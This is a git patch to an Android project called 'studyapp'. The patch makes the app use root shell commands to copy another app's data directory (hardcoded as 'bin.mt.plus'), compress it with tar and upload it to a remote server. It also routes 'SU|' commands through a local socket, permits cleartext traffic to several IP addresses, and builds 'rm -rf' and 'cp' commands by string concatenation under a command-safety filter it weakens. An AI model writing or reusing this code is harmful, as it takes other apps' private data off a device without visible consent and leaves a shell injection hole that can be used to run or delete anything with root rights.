From 7ce7a3d72e4e752a5b16cdade9e79dc673fc7f1b Mon Sep 17 00:00:00 2001 From: yjj38 Date: Fri, 20 Jun 2025 16:37:36 +0800 Subject: [PATCH] refactor(ShellUtils, TaskUtil): enhance shell execution and streamline file management - Improved `ShellUtils` with enhanced logging, thread-management, and safety checks for shell command execution. - Streamlined `TaskUtil`'s file operations with safer and more robust shell commands for deletion, copying, and compression. - Replaced Java I/O-based file management in `TaskUtil` with shell-based operations for better performance and security. - Added new helper methods like `delFileSh`, `copyFolderSh`, and `clearUpFileInDst` in `TaskUtil`. --- .../com/example/studyapp/MainActivity.java | 9 +- .../com/example/studyapp/task/TaskUtil.java | 203 +++++-- .../com/example/studyapp/utils/MockTools.java | 54 ++ .../example/studyapp/utils/ShellUtils.java | 571 ++++++++++-------- .../main/res/xml/network_security_config.xml | 1 + 5 files changed, 510 insertions(+), 328 deletions(-) create mode 100644 app/src/main/java/com/example/studyapp/utils/MockTools.java diff --git a/app/src/main/java/com/example/studyapp/MainActivity.java b/app/src/main/java/com/example/studyapp/MainActivity.java index 602a188..e60a741 100644 --- a/app/src/main/java/com/example/studyapp/MainActivity.java +++ b/app/src/main/java/com/example/studyapp/MainActivity.java @@ -1,5 +1,7 @@ package com.example.studyapp; +import static com.example.studyapp.task.TaskUtil.infoUpload; + import android.app.Activity; import android.app.AlertDialog; import android.net.Uri; @@ -247,9 +249,10 @@ public class MainActivity extends AppCompatActivity { } executeSingleLogic(); TaskUtil.execSaveTask(this,androidId); - // if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) { - // infoUpload(this,androidId, scriptResult); - // } + scriptResult = "bin.mt.plus"; + if (scriptResult != null && !TextUtils.isEmpty(scriptResult)) { + infoUpload(this,androidId, scriptResult); + } } } } catch (InterruptedException e) { diff --git a/app/src/main/java/com/example/studyapp/task/TaskUtil.java b/app/src/main/java/com/example/studyapp/task/TaskUtil.java index acda29f..03d3d31 100644 --- a/app/src/main/java/com/example/studyapp/task/TaskUtil.java +++ b/app/src/main/java/com/example/studyapp/task/TaskUtil.java @@ -5,6 +5,8 @@ import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.os.Environment; import android.util.Log; +import com.example.studyapp.utils.MockTools; +import com.example.studyapp.utils.ShellUtils; import com.google.gson.Gson; import com.google.gson.GsonBuilder; import java.io.BufferedOutputStream; @@ -163,6 +165,7 @@ public class TaskUtil { } public static void infoUpload(Context context, String androidId, String packAge) throws IOException { + Log.i("TaskUtil", "infoUpload called with androidId: " + androidId + ", package: " + packAge); if (packAge == null || packAge.isEmpty()) { @@ -180,20 +183,7 @@ public class TaskUtil { return; } - PackageInfo packageInfo; - try { - Log.d("TaskUtil", "Fetching package info for package: " + packAge); - packageInfo = context.getPackageManager().getPackageInfo(packAge, 0); - if (packageInfo == null) { - Log.e("TaskUtil", "Package info not found for package: " + packAge); - throw new IllegalStateException("Package info not found: " + packAge); - } - } catch (PackageManager.NameNotFoundException e) { - Log.e("TaskUtil", "Package not found: " + packAge, e); - throw new RuntimeException("Package not found: " + packAge, e); - } - - String apkSourceDir = packageInfo.applicationInfo.sourceDir; + String apkSourceDir = "/storage/emulated/0/Android/data/"+packAge; Log.d("TaskUtil", "APK source directory: " + apkSourceDir); File externalDir = context.getExternalFilesDir(null); @@ -206,22 +196,19 @@ public class TaskUtil { Log.d("TaskUtil", "Output ZIP path: " + outputZipPath); File zipFile = new File(outputZipPath); - if (zipFile.exists() && !deleteFileSafely(zipFile)) { - Log.w("TaskUtil", "Failed to delete old zip file: " + outputZipPath); - return; + if (zipFile.exists()) { + delFileSh(zipFile.getAbsolutePath()); } - - File sourceApk = new File(apkSourceDir); - File copiedApk = new File(context.getCacheDir(), packAge + "_temp.apk"); - if (copiedApk.exists() && !deleteFileSafely(copiedApk)) { - Log.w("TaskUtil", "Failed to delete old temp APK file: " + copiedApk.getAbsolutePath()); - return; + File copiedDir = new File(context.getCacheDir(), packAge); + if (copiedDir.exists()) { + delFileSh(copiedDir.getAbsolutePath()); + } + copyFolderSh(apkSourceDir, copiedDir.getAbsolutePath()); + boolean success = clearUpFileInDst(copiedDir); + if (success){ + // 压缩APK文件 + zipSh(copiedDir, zipFile); } - - copyFile(sourceApk, copiedApk); - - // 压缩APK文件 - compressToZip(copiedApk, zipFile, apkSourceDir); // 上传压缩文件 if (!zipFile.exists()) { @@ -232,53 +219,141 @@ public class TaskUtil { uploadFile(zipFile); // 清理临时文件 - deleteFileSafely(copiedApk); - deleteFileSafely(zipFile); + delFileSh(copiedDir.getAbsolutePath()); + delFileSh(zipFile.getAbsolutePath()); } - private static boolean deleteFileSafely(File file) { - if (file.exists()) { - return file.delete(); + public static void delFileSh(String path) { + Log.i("TaskUtil", "start delFileSh : " + path); + + // 1. 参数校验 + if (path == null || path.isEmpty()) { + Log.e("TaskUtil", "Invalid or empty path provided."); + return; + } + File file = new File(path); + if (!file.exists()) { + Log.e("TaskUtil", "File does not exist: " + path); + return; + } + + // 3. 执行 Shell 命令 + try { + String cmd = "rm -rf " + path; + Log.i("TaskUtil", "Attempting to delete file using Shell command."); + ShellUtils.execRootCmd(cmd); + Log.i("TaskUtil", "File deletion successful for path: " + path); + } catch (Exception e) { + Log.e("TaskUtil", "Error occurred while deleting file: " + e.getMessage(), e); } - return true; } + public static boolean copyFolderSh(String oldPath, String newPath) { + Log.i("TaskUtil", "start copyFolderSh : " + oldPath + " ; " + newPath); + try { + // 验证输入路径合法性 + if (oldPath == null || newPath == null || oldPath.isEmpty() || newPath.isEmpty()) { + Log.e("TaskUtil", "Invalid path. oldPath: " + oldPath + ", newPath: " + newPath); + return false; + } + + // 使用 File API 确保路径处理正确 + File src = new File(oldPath); + File dst = new File(newPath); + + if (!src.exists()) { + Log.e("TaskUtil", "Source path does not exist: " + oldPath); + return false; + } + + // 构造命令(注意 shell 特殊字符的转义) + String safeOldPath = src.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\""); + String safeNewPath = dst.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\""); + String cmd = "cp -r -f \"" + safeOldPath + "\" \"" + safeNewPath + "\""; + + Log.i("TaskUtil", "copyFolderSh cmd: " + cmd); + + // 调用 MockTools 执行 + String result = ShellUtils.execRootCmdAndGetResult(cmd); + if (result == null || result.trim().isEmpty()) { + Log.e("TaskUtil", "Command execution failed. Result: " + result); + return false; + } + + Log.i("TaskUtil", "Command executed successfully: " + result); + return true; + } catch (Exception e) { + Log.e("TaskUtil", "Error occurred during copyFolderSh operation", e); + return false; + } + } + private static final int BUFFER_SIZE = 1024 * 4; - private static void copyFile(File src, File dst) throws IOException { - Log.d("TaskUtil", "Copying APK file to temp location..."); - try (FileInputStream inputStream = new FileInputStream(src); - FileOutputStream outputStream = new FileOutputStream(dst)) { - byte[] buffer = new byte[BUFFER_SIZE]; - int length; - while ((length = inputStream.read(buffer)) > 0) { - outputStream.write(buffer, 0, length); + private static boolean clearUpFileInDst(File dst) { + if (dst.exists()) { + File[] files = dst.listFiles(); + if (files != null && files.length > 0) { + for (File f : files) { + if (f.isDirectory()) { + if (!"cache".equalsIgnoreCase(f.getName())) { +// f.delete(); + delFile(f); + } else { + Log.i("TaskUtil", "file need keep : " + f.getAbsolutePath()); + } + } else { + long fl = f.length(); + if (fl > 1024 * 1024 * 3) { +// f.delete(); + delFile(f); + } else { + Log.i("TaskUtil", "file need keep : " + f.getAbsolutePath()); + } + } + } } - Log.i("TaskUtil", "APK file copied to temp location: " + dst.getAbsolutePath()); - } catch (IOException e) { - Log.e("TaskUtil", "Error while copying APK file", e); - throw e; + return true ; + } + return false ; + } + + + + private static void delFile(File file) { + try { + String cmd = "rm -rf " + file; + Log.i("TaskUtil", "delFile-> cmd:" + cmd); + ShellUtils.execRootCmd(cmd); + } catch (Exception e) { + e.printStackTrace(); } } - private static void compressToZip(File src, File dst, String apkSourceDir) throws IOException { - Log.d("TaskUtil", "Starting to compress the APK file..."); - try (FileInputStream fis = new FileInputStream(src); - FileOutputStream fos = new FileOutputStream(dst); - ZipOutputStream zipOut = new ZipOutputStream(fos)) { - String entryName = new File(apkSourceDir).getName(); - zipOut.putNextEntry(new ZipEntry(entryName)); - byte[] buffer = new byte[BUFFER_SIZE]; - int bytesRead; - while ((bytesRead = fis.read(buffer)) >= 0) { - zipOut.write(buffer, 0, bytesRead); + public static void zipSh(File copyDir, File zipFile) { + try { + if (copyDir == null || zipFile == null || !copyDir.exists() || !zipFile.getParentFile().exists()) { + throw new IllegalArgumentException("Invalid input directories or files."); } - zipOut.closeEntry(); - Log.i("TaskUtil", "APK file successfully compressed to: " + dst.getAbsolutePath()); - } catch (IOException e) { - Log.e("TaskUtil", "Error during APK file compression", e); - throw e; + + // 获取父目录并确保路径合法 + String parentDir = copyDir.getParentFile().getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\""); + String zipFilePath = zipFile.getAbsolutePath().replace(" ", "\\ ").replace("\"", "\\\""); + String copyDirName = copyDir.getName().replace(" ", "\\ ").replace("\"", "\\\""); + + // 构造命令 + String cmd = "cd " + parentDir + " && tar -zcvf " + zipFilePath + " " + copyDirName; + + Log.i("TaskUtil", "zipSh-> cmd:" + cmd.replace(parentDir, "[REDACTED]")); + + String result = ShellUtils.execRootCmdAndGetResult(cmd); + + if (result == null || result.contains("error")) { + throw new IOException("Shell command execution failed: " + result); + } + } catch (Exception e) { + Log.e("TaskUtil", "Error in zipSh", e); } } @@ -291,11 +366,11 @@ public class TaskUtil { .build(); Request request = new Request.Builder() - .url(BASE_URL + "/tar_info_upload") + .url(BASE_URL + "/upload_package") .post(requestBody) .build(); - Log.i("TaskUtil", "Starting file upload to: " + BASE_URL + "/tar_info_upload"); + Log.i("TaskUtil", "Starting file upload to: " + BASE_URL + "/upload_package"); try (Response response = okHttpClient.newCall(request).execute()) { ResponseBody body = response.body(); diff --git a/app/src/main/java/com/example/studyapp/utils/MockTools.java b/app/src/main/java/com/example/studyapp/utils/MockTools.java new file mode 100644 index 0000000..40acae7 --- /dev/null +++ b/app/src/main/java/com/example/studyapp/utils/MockTools.java @@ -0,0 +1,54 @@ +package com.example.studyapp.utils; + +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.OutputStreamWriter; +import java.net.InetSocketAddress; +import java.net.Socket; + +/** + * @Time: 2025/6/20 12:01 + * @Creator: 初屿贤 + * @File: MockTools + * @Project: study.App + * @Description: + */ +public class MockTools { + public static String exec(String cmd) { + String retString = ""; + + // 创建 socket + String myCmd = "SU|" + cmd; + try (Socket mSocket = new Socket()) { + InetSocketAddress inetSocketAddress = new InetSocketAddress("127.0.0.1", 12345); + + // 设置连接超时时间,单位毫秒 + mSocket.connect(inetSocketAddress, 5000); + + try (BufferedWriter bufferedWriter = new BufferedWriter(new OutputStreamWriter(mSocket.getOutputStream(), "UTF-8")); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(mSocket.getInputStream(), "UTF-8"))) { + + bufferedWriter.write(myCmd + "\r\n"); + bufferedWriter.flush(); + + StringBuilder stringBuilder = new StringBuilder(); + String line; + while ((line = bufferedReader.readLine()) != null) { + stringBuilder.append(line).append("\n"); + } + retString = stringBuilder.toString(); + } + } catch (IOException e) { + // 记录 IO 异常,具体到日志或执行特定的恢复操作 + e.printStackTrace(); + } catch (Exception ex) { + // 捕获其他异常并合理处理 + ex.printStackTrace(); + } + return retString; + } + + +} diff --git a/app/src/main/java/com/example/studyapp/utils/ShellUtils.java b/app/src/main/java/com/example/studyapp/utils/ShellUtils.java index 35460dd..9edbb20 100644 --- a/app/src/main/java/com/example/studyapp/utils/ShellUtils.java +++ b/app/src/main/java/com/example/studyapp/utils/ShellUtils.java @@ -12,301 +12,350 @@ import java.io.InputStreamReader; import java.io.InterruptedIOException; import java.io.OutputStream; import java.lang.reflect.Field; +import java.nio.charset.StandardCharsets; import java.util.ArrayList; import java.util.List; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; import java.util.concurrent.TimeUnit; public class ShellUtils { - public static void exec(String cmd) { - try { - Log.e("ShellUtils", String.format("exec %s", cmd)); - Process process = Runtime.getRuntime().exec(cmd); - process.waitFor(); - } catch (Exception e) { - } + public static void exec(String cmd) { + try { + Log.e("ShellUtils", String.format("exec %s", cmd)); + Process process = Runtime.getRuntime().exec(cmd); + process.waitFor(); + } catch (Exception e) { + } + } + + public static int getPid(Process p) { + int pid = -1; + try { + Field f = p.getClass().getDeclaredField("pid"); + f.setAccessible(true); + pid = f.getInt(p); + f.setAccessible(false); + } catch (Throwable e) { + pid = -1; + } + return pid; + } + + public static boolean hasBin(String binName) { + // 验证 binName 是否符合规则 + if (binName == null || binName.isEmpty()) { + throw new IllegalArgumentException("Bin name cannot be null or empty"); } - public static int getPid(Process p) { - int pid = -1; - try { - Field f = p.getClass().getDeclaredField("pid"); - f.setAccessible(true); - pid = f.getInt(p); - f.setAccessible(false); - } catch (Throwable e) { - pid = -1; - } - return pid; + for (char c : binName.toCharArray()) { + if (!Character.isLetterOrDigit(c) && c != '.' && c != '_' && c != '-') { + throw new IllegalArgumentException("Invalid bin name"); + } } - public static boolean hasBin(String binName) { - // 验证 binName 是否符合规则 - if (binName == null || binName.isEmpty()) { - throw new IllegalArgumentException("Bin name cannot be null or empty"); - } + // 获取 PATH 环境变量 + String pathEnv = System.getenv("PATH"); + if (pathEnv == null) { + Log.e("hasBin", "PATH environment variable is not available"); + return false; + } - for (char c : binName.toCharArray()) { - if (!Character.isLetterOrDigit(c) && c != '.' && c != '_' && c != '-') { - throw new IllegalArgumentException("Invalid bin name"); + // 使用适合当前系统的路径分隔符分割路径 + String[] paths = pathEnv.split(File.pathSeparator); + for (String path : paths) { + File file = new File(path, binName); // 使用 File 构造完整路径 + try { + // 检查文件是否可执行 + if (file.canExecute()) { + return true; + } + } catch (SecurityException e) { + Log.e("hasBin", "Security exception occurred while checking: " + file.getAbsolutePath(), e); + } + } + + // 如果未找到可执行文件,返回 false + return false; + } + + public static String execRootCmdAndGetResult(String cmd) { + Log.d("ShellUtils", "execRootCmdAndGetResult - Started execution for command: " + cmd); + if (cmd == null || cmd.trim().isEmpty()) { + Log.e("ShellUtils", "Unsafe or empty command. Aborting execution."); + throw new IllegalArgumentException("Unsafe or empty command."); + } + // if (!isCommandSafe(cmd)) { // 检查命令的合法性 + // Log.e("ShellUtils", "Detected unsafe command. Aborting execution."); + // throw new IllegalArgumentException("Detected unsafe command."); + // } + + Process process = null; + ExecutorService executor = Executors.newFixedThreadPool(2); + + try { + Log.d("ShellUtils", "Determining appropriate shell for execution..."); + if (hasBin("su")) { + Log.d("ShellUtils", "'su' binary found, using 'su' shell."); + process = Runtime.getRuntime().exec("su"); + } else if (hasBin("xu")) { + Log.d("ShellUtils", "'xu' binary found, using 'xu' shell."); + process = Runtime.getRuntime().exec("xu"); + } else if (hasBin("vu")) { + Log.d("ShellUtils", "'vu' binary found, using 'vu' shell."); + process = Runtime.getRuntime().exec("vu"); + } else { + Log.d("ShellUtils", "No specific binary found, using 'sh' shell."); + process = Runtime.getRuntime().exec("sh"); + } + + try (OutputStream os = new BufferedOutputStream(process.getOutputStream()); + InputStream is = process.getInputStream(); + InputStream errorStream = process.getErrorStream(); + BufferedReader br = new BufferedReader(new InputStreamReader(is, StandardCharsets.UTF_8)); + BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorStream, StandardCharsets.UTF_8))) { + + Log.d("ShellUtils", "Starting separate thread to process error stream..."); + executor.submit(() -> { + String line; + try { + while ((line = errorReader.readLine()) != null) { + Log.e("ShellUtils", "Shell Error: " + line); } + } catch (IOException e) { + Log.e("ShellUtils", "Error while reading process error stream: " + e.getMessage()); + } + }); + + Log.d("ShellUtils", "Writing the command to the shell..."); + os.write((cmd + "\n").getBytes()); + os.write("exit\n".getBytes()); + os.flush(); + Log.d("ShellUtils", "Command written to shell. Waiting for process to complete."); + + StringBuilder output = new StringBuilder(); + String line; + while ((line = br.readLine()) != null) { + Log.d("ShellUtils", "Shell Output: " + line); + output.append(line).append("\n"); } - // 获取 PATH 环境变量 - String pathEnv = System.getenv("PATH"); - if (pathEnv == null) { - Log.e("hasBin", "PATH environment variable is not available"); - return false; - } - - // 使用适合当前系统的路径分隔符分割路径 - String[] paths = pathEnv.split(File.pathSeparator); - for (String path : paths) { - File file = new File(path, binName); // 使用 File 构造完整路径 + Log.d("ShellUtils", "Awaiting process termination..."); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + if (!process.waitFor(10, TimeUnit.SECONDS)) { + Log.e("ShellUtils", "Process execution timed out. Destroying process."); + process.destroyForcibly(); + throw new RuntimeException("Shell command execution timeout."); + } + } else { + Log.d("ShellUtils", "Using manual time tracking method for process termination (API < 26)."); + long startTime = System.currentTimeMillis(); + while (true) { try { - // 检查文件是否可执行 - if (file.canExecute()) { - return true; - } - } catch (SecurityException e) { - Log.e("hasBin", "Security exception occurred while checking: " + file.getAbsolutePath(), e); - } - } - - // 如果未找到可执行文件,返回 false - return false; - } - - public static String execRootCmdAndGetResult(String cmd) { - if (cmd == null || cmd.trim().isEmpty()) { - Log.e("ShellUtils", "Unsafe or empty command. Aborting execution."); - throw new IllegalArgumentException("Unsafe or empty command."); - } - -// if (!isCommandSafe(cmd)) { // 检查命令的合法性 -// throw new IllegalArgumentException("Detected unsafe command."); -// } - - Process process = null; - try { - // 初始化并选择 shell - if (hasBin("su")) { - process = Runtime.getRuntime().exec("su"); - } else if (hasBin("xu")) { - process = Runtime.getRuntime().exec("xu"); - } else if (hasBin("vu")) { - process = Runtime.getRuntime().exec("vu"); - } else { - process = Runtime.getRuntime().exec("sh"); - } - - // 使用 try-with-resources 关闭流 - try (OutputStream os = new BufferedOutputStream(process.getOutputStream()); - InputStream is = process.getInputStream(); - InputStream errorStream = process.getErrorStream(); - BufferedReader br = new BufferedReader(new InputStreamReader(is)); - BufferedReader errorReader = new BufferedReader(new InputStreamReader(errorStream))) { - - // 异步处理错误流 - Thread errorThread = new Thread(() -> errorReader.lines().forEach(line -> Log.e("ShellUtils", "Shell Error: " + line))); - errorThread.start(); - - // 写入命令到 shell - os.write((cmd + "\n").getBytes()); - os.write("exit\n".getBytes()); - os.flush(); - - // 等待 process 执行完成 - if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { - if (!process.waitFor(10, TimeUnit.SECONDS)) { - process.destroy(); - throw new RuntimeException("Shell command execution timeout."); - } - } else { - long startTime = System.currentTimeMillis(); - while (true) { - try { - process.exitValue(); - break; - } catch (IllegalThreadStateException e) { - if (System.currentTimeMillis() - startTime > 10000) { // 10 seconds - process.destroy(); - throw new RuntimeException("Shell command execution timeout."); - } - Thread.sleep(100); // Sleep briefly before re-checking - } - } - } - - // 读取输出流中的结果 - StringBuilder output = new StringBuilder(); - String line; - while ((line = br.readLine()) != null) { - output.append(line).append("\n"); - } - return output.toString().trim(); - } - } catch (IOException | InterruptedException e) { - Log.e("ShellUtils", "Command execution failed: " + e.getMessage()); - Thread.currentThread().interrupt(); // 恢复中断状态 - return "Error: " + e.getMessage(); - } finally { - if (process != null) { + process.exitValue(); + break; + } catch (IllegalThreadStateException e) { + if (System.currentTimeMillis() - startTime > 10000) { // 10 seconds + Log.e("ShellUtils", "Process execution timed out (manual tracking). Destroying process."); process.destroy(); + throw new RuntimeException("Shell command execution timeout."); + } + Thread.sleep(100); // Sleep briefly before re-checking } + } } + + Log.d("ShellUtils", "Process terminated successfully. Returning result."); + return output.toString().trim(); + } + } catch (IOException | InterruptedException e) { + Log.e("ShellUtils", "Command execution failed: " + e.getMessage()); + Thread.currentThread().interrupt(); + return "Error: " + e.getMessage(); + } finally { + if (process != null) { + Log.d("ShellUtils", "Finalizing process. Attempting to destroy it."); + process.destroy(); + } + executor.shutdown(); + Log.d("ShellUtils", "Executor service shut down."); + } + } + + public static void execRootCmd(String cmd) { + // 校验命令是否安全 + if (!isCommandSafe(cmd)) { + Log.e("ShellUtils", "Unsafe command, aborting."); + return; + } + List cmds = new ArrayList<>(); + cmds.add(cmd); + + // 使用同步锁保护线程安全 + synchronized (ShellUtils.class) { + try { + List results = execRootCmds(cmds); + // 判断是否需要打印输出,仅用于开发调试阶段 + for (String result : results) { + Log.d("ShellUtils", "Command Result: " + result); + } + } catch (Exception e) { + Log.e("ShellUtils", "Unexpected error: ", e); + } + } + } + + + private static boolean isCommandSafe(String cmd) { + // 检查空值和空字符串 + if (cmd == null || cmd.trim().isEmpty()) { + Log.e("ShellUtils", "Rejected command: empty or null value."); + return false; } - public static void execRootCmd(String cmd) { -// if (!isCommandSafe(cmd)) { -// Log.e("ShellUtils", "Unsafe command, aborting."); -// return; -// } - - List cmds = new ArrayList<>(); - cmds.add(cmd); - - try { - // 使用同步块确保线程安全 - synchronized (ShellUtils.class) { - List results = execRootCmds(cmds); - for (String result : results) { - Log.d("ShellUtils", "Command Result: " + result); // 可根据生产环境禁用日志 - } - } - } catch (Exception e) { - Log.e("ShellUtils", "Error executing root command: ", e); - } + // 检查非法字符 + if (!cmd.matches("^[a-zA-Z0-9._/:\\-~`'\" *|]+$")) { + Log.e("ShellUtils", "Rejected command due to illegal characters: " + cmd); + return false; } - private static boolean isCommandSafe(String cmd) { - // 空和空字符串验证 - if (cmd == null || cmd.trim().isEmpty()) { - return false; - } - - // 仅允许安全字符 - if (!cmd.matches("^[a-zA-Z0-9._/:\\- ]+$")) { - return false; - } - - // 添加更多逻辑检查,根据预期命令规则 - // 例如:禁止多重命令,检查逻辑运算符 "&&" 或 "||" - if (cmd.contains("&&") || cmd.contains("||")) { - return false; - } - - // 检查命令长度,避免过长命令用于攻击 - if (cmd.length() > 500) { // 假定命令应当限制在 500 字符以内 - return false; - } - - return true; + // 检查多命令(逻辑运算符限制) + if (cmd.contains("&&") || cmd.contains("||")) { + Log.d("ShellUtils", "Command contains logical operators."); + if (!isExpectedMultiCommand(cmd)) { + Log.e("ShellUtils", "Rejected command due to prohibited structure: " + cmd); + return false; + } } - public static List execRootCmds(List cmds) { - List results = new ArrayList<>(); - Process process = null; - try { - // 初始化 Shell 环境 - process = hasBin("su") ? Runtime.getRuntime().exec("su") : Runtime.getRuntime().exec("sh"); + // 路径遍历保护 + if (cmd.contains("../") || cmd.contains("..\\")) { + Log.e("ShellUtils", "Rejected command due to path traversal attempt: " + cmd); + return false; + } - // 启动读取线程 - Process stdProcess = process; - Thread stdThread = new Thread(() -> { - try (BufferedReader stdReader = new BufferedReader(new InputStreamReader(stdProcess.getInputStream()))) { - List localResults = new ArrayList<>(); - String line; - while ((line = stdReader.readLine()) != null) { - localResults.add(line); - Log.d("ShellUtils", "Stdout: " + line); - } - synchronized (results) { - results.addAll(localResults); - } - } catch (IOException ioException) { - Log.e("ShellUtils", "Error reading stdout", ioException); - } - }); + // 命令长度限制 + if (cmd.startsWith("tar") && cmd.length() > 800) { // 特定命令支持更长长度 + Log.e("ShellUtils", "Rejected tar command due to excessive length: " + cmd.length()); + return false; + } else if (cmd.length() > 500) { + Log.e("ShellUtils", "Rejected command due to excessive length: " + cmd.length()); + return false; + } - Process finalProcess = process; - Thread errThread = new Thread(() -> { - try (BufferedReader errReader = new BufferedReader(new InputStreamReader(finalProcess.getErrorStream()))) { - String line; - while ((line = errReader.readLine()) != null) { - Log.e("ShellUtils", "Stderr: " + line); - } - } catch (IOException ioException) { - Log.e("ShellUtils", "Error reading stderr", ioException); - } - }); + Log.d("ShellUtils", "Command passed safety checks: " + cmd); + return true; + } - // 启动子线程 - stdThread.start(); - errThread.start(); + // 附加方法:检查多命令是否符合预期 + private static boolean isExpectedMultiCommand(String cmd) { + // 判断是否为允许的命令组合,比如 `cd` 或 `tar` 组合命令 + return cmd.matches("^cd .+ && (tar|zip|cp).+"); + } - try (OutputStream os = process.getOutputStream()) { - for (String cmd : cmds) { + public static List execRootCmds(List cmds) { + List results = new ArrayList<>(); + Process process = null; + try { + // 初始化 Shell 环境 + process = hasBin("su") ? Runtime.getRuntime().exec("su") : Runtime.getRuntime().exec("sh"); + + // 启动读取线程 + Process stdProcess = process; + Thread stdThread = new Thread(() -> { + try (BufferedReader stdReader = new BufferedReader(new InputStreamReader(stdProcess.getInputStream()))) { + List localResults = new ArrayList<>(); + String line; + while ((line = stdReader.readLine()) != null) { + localResults.add(line); + Log.d("ShellUtils", "Stdout: " + line); + } + synchronized (results) { + results.addAll(localResults); + } + } catch (IOException ioException) { + Log.e("ShellUtils", "Error reading stdout", ioException); + } + }); + + Process finalProcess = process; + Thread errThread = new Thread(() -> { + try (BufferedReader errReader = new BufferedReader(new InputStreamReader(finalProcess.getErrorStream()))) { + String line; + while ((line = errReader.readLine()) != null) { + Log.e("ShellUtils", "Stderr: " + line); + } + } catch (IOException ioException) { + Log.e("ShellUtils", "Error reading stderr", ioException); + } + }); + + // 启动子线程 + stdThread.start(); + errThread.start(); + + try (OutputStream os = process.getOutputStream()) { + for (String cmd : cmds) { // if (!isCommandSafe(cmd)) { // Log.w("ShellUtils", "Skipping unsafe command: " + cmd); // continue; // } - os.write((cmd + "\n").getBytes()); - Log.d("ShellUtils", "Executing command: " + cmd); - } - os.write("exit\n".getBytes()); - os.flush(); - } - - try { - // 执行命令、等待解决 - process.waitFor(); - } catch (InterruptedException e) { - Thread.currentThread().interrupt(); // 恢复中断 - Log.e("ShellUtils", "Error executing commands", e); - } - - - // 等待子线程完成 - stdThread.join(); - errThread.join(); - - } catch (InterruptedIOException e) { - Log.e("ShellUtils", "Error reading stdout: Interrupted", e); - Thread.currentThread().interrupt(); // 恢复线程的中断状态 - } catch (Exception e) { - Log.e("ShellUtils", "Error executing commands", e); - } finally { - if (process != null) { - process.destroy(); - } + os.write((cmd + "\n").getBytes()); + Log.d("ShellUtils", "Executing command: " + cmd); } - return results; + os.write("exit\n".getBytes()); + os.flush(); + } + + try { + // 执行命令、等待解决 + process.waitFor(); + } catch (InterruptedException e) { + Thread.currentThread().interrupt(); // 恢复中断 + Log.e("ShellUtils", "Error executing commands", e); + } + + // 等待子线程完成 + stdThread.join(); + errThread.join(); + + } catch (InterruptedIOException e) { + Log.e("ShellUtils", "Error reading stdout: Interrupted", e); + Thread.currentThread().interrupt(); // 恢复线程的中断状态 + } catch (Exception e) { + Log.e("ShellUtils", "Error executing commands", e); + } finally { + if (process != null) { + process.destroy(); + } + } + return results; + } + + public static boolean hasRootAccess() { + // 记录是否出现安全异常 + boolean hasSecurityError = false; + + // 检查二进制文件 + String[] binariesToCheck = {"su", "xu", "vu"}; + for (String bin : binariesToCheck) { + try { + if (hasBin(bin)) { + return true; + } + } catch (SecurityException e) { + hasSecurityError = true; + Log.e("ShellUtils", "Security exception while checking: " + bin, e); + } } - public static boolean hasRootAccess() { - // 记录是否出现安全异常 - boolean hasSecurityError = false; - - // 检查二进制文件 - String[] binariesToCheck = {"su", "xu", "vu"}; - for (String bin : binariesToCheck) { - try { - if (hasBin(bin)) { - return true; - } - } catch (SecurityException e) { - hasSecurityError = true; - Log.e("ShellUtils", "Security exception while checking: " + bin, e); - } - } - - // 判断如果发生安全异常则反馈问题 - if (hasSecurityError) { - Log.w("ShellUtils", "Potential security error detected while checking root access."); - } - - // 没有找到合法的二进制文件,则认为无root权限 - return false; + // 判断如果发生安全异常则反馈问题 + if (hasSecurityError) { + Log.w("ShellUtils", "Potential security error detected while checking root access."); } + + // 没有找到合法的二进制文件,则认为无root权限 + return false; + } } diff --git a/app/src/main/res/xml/network_security_config.xml b/app/src/main/res/xml/network_security_config.xml index ce01498..b5a1e74 100644 --- a/app/src/main/res/xml/network_security_config.xml +++ b/app/src/main/res/xml/network_security_config.xml @@ -12,5 +12,6 @@ 127.0.0.1 8.217.137.25 47.238.96.231 + 192.168.30.80